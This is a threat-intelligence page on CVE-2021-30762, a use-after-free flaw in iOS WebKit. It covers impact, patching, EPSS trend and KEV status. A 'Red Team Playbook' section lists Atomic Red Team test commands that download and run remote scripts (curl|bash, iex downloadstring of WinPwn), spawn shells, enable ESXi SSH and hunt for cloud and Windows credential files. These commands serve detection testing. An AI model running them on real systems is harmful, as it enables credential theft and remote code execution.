CVE-2021-30762
Overview
This vulnerability is a use-after-free condition caused by improper memory management within the WebKit component of Apple iOS. The flaw occurs when the system processes maliciously crafted web content, leading to references to freed memory. The affected component is the WebKit browser engine used in iOS versions prior to 12.5.4, which fails to correctly handle object lifecycle and memory allocation during content rendering.
Vulnerability Description
A use after free issue was addressed with improved memory management. This issue is fixed in iOS 12.5.4. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited..
Impact
An attacker can execute arbitrary code remotely by convincing a user to visit a maliciously crafted web page, without requiring prior authentication. This allows full compromise of the affected device’s browser process, potentially leading to data theft, device control, or further lateral movement within a network. The vulnerability enables attackers to bypass memory safety protections, increasing the risk of persistent compromise and unauthorized access to sensitive information.
Solution
Apple addressed this issue in the iOS 12.5.4 update, which includes improved memory management in WebKit to prevent use-after-free conditions. Users and administrators should apply the iOS 12.5.4 patch promptly to affected devices. Detailed patch instructions and update availability are documented in Apple’s official advisory at https://support.apple.com/en-us/HT212548.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question pertains to a use-after-free issue, a common type of memory corruption flaw that can lead to arbitrary code execution. This particular flaw arises when an application continues to use a memory reference after the memory has been freed, allowing an attacker to manipulate the program's execution flow. In this case, the vulnerability was identified within the web content processing component of the iOS operating system. When maliciously crafted web content is processed, it can exploit this memory management oversight, potentially allowing an attacker to execute arbitrary code with the same privileges as the user running the application. This flaw underscores the critical importance of robust memory management practices in software development, particularly in environments where user-generated content is processed.
Attack vectors for this vulnerability primarily involve the exploitation of web browsers or applications that render web content. An attacker could craft a malicious website or deliver a specially designed file that, when opened or interacted with by a user, triggers the use-after-free condition. Once the flaw is exploited, the attacker could execute arbitrary code, which might include installing malware, stealing sensitive information, or taking control of the device. Given the widespread use of iOS devices, the potential for exploitation is significant, especially in scenarios where users are encouraged to visit untrusted websites or open unsolicited files.
The real-world impact of this vulnerability is substantial, particularly for businesses that rely on iOS devices for operations. The risk extends beyond individual users, as compromised devices can lead to data breaches, loss of sensitive corporate information, and damage to brand reputation. Additionally, if the vulnerability is actively exploited, it can result in significant financial losses due to remediation efforts, legal liabilities, and potential regulatory fines. Organizations that fail to address this vulnerability may find themselves at a competitive disadvantage, as customers increasingly prioritize security and privacy in their choice of service providers.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular updates and patches from Apple should be applied promptly to ensure that devices are protected against known vulnerabilities. Additionally, employing security solutions that monitor for unusual behavior on devices can help identify potential exploitation attempts. User education is also critical; training employees to recognize phishing attempts and to avoid interacting with suspicious web content can significantly reduce the likelihood of exploitation. Organizations should consider implementing mobile device management (MDM) solutions to enforce security policies and ensure that all devices are running the latest software versions.
In conclusion, the use-after-free vulnerability in the iOS operating system represents a serious threat to both individual users and organizations. Its potential for exploitation through malicious web content highlights the need for vigilant security practices and proactive measures to safeguard against memory management flaws. By prioritizing timely updates, user education, and robust detection strategies, businesses can mitigate the risks associated with this vulnerability and protect their assets from potential compromise. As the landscape of cybersecurity continues to evolve, staying informed about emerging threats and vulnerabilities is essential for maintaining a secure operational environment.
CSURFACE threat intelligence has detected a marked escalation in the Exploit Prediction Scoring System (EPSS) score for CVE-2021-30762, reflecting a substantial increase in the likelihood of exploitation. The EPSS score surged dramatically, placing this vulnerability in the 95th percentile for exploit probability, with a rapidly increasing trend over the past week. This shift indicates heightened attacker interest or activity targeting this use-after-free flaw in Apple iOS, despite the absence of newly reported exploit details. For defenders, this escalation signals an increased risk environment where opportunistic or targeted exploitation attempts may become more frequent or sophisticated. Consequently, the threat level for CVE-2021-30762 should be reassessed upward, emphasizing the need for continued vigilance and prioritization of patch management to mitigate potential compromise stemming from this vulnerability.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-30762 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212548 |
| cisa.gov |
NVD API
Third Party Advisory
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-30762 |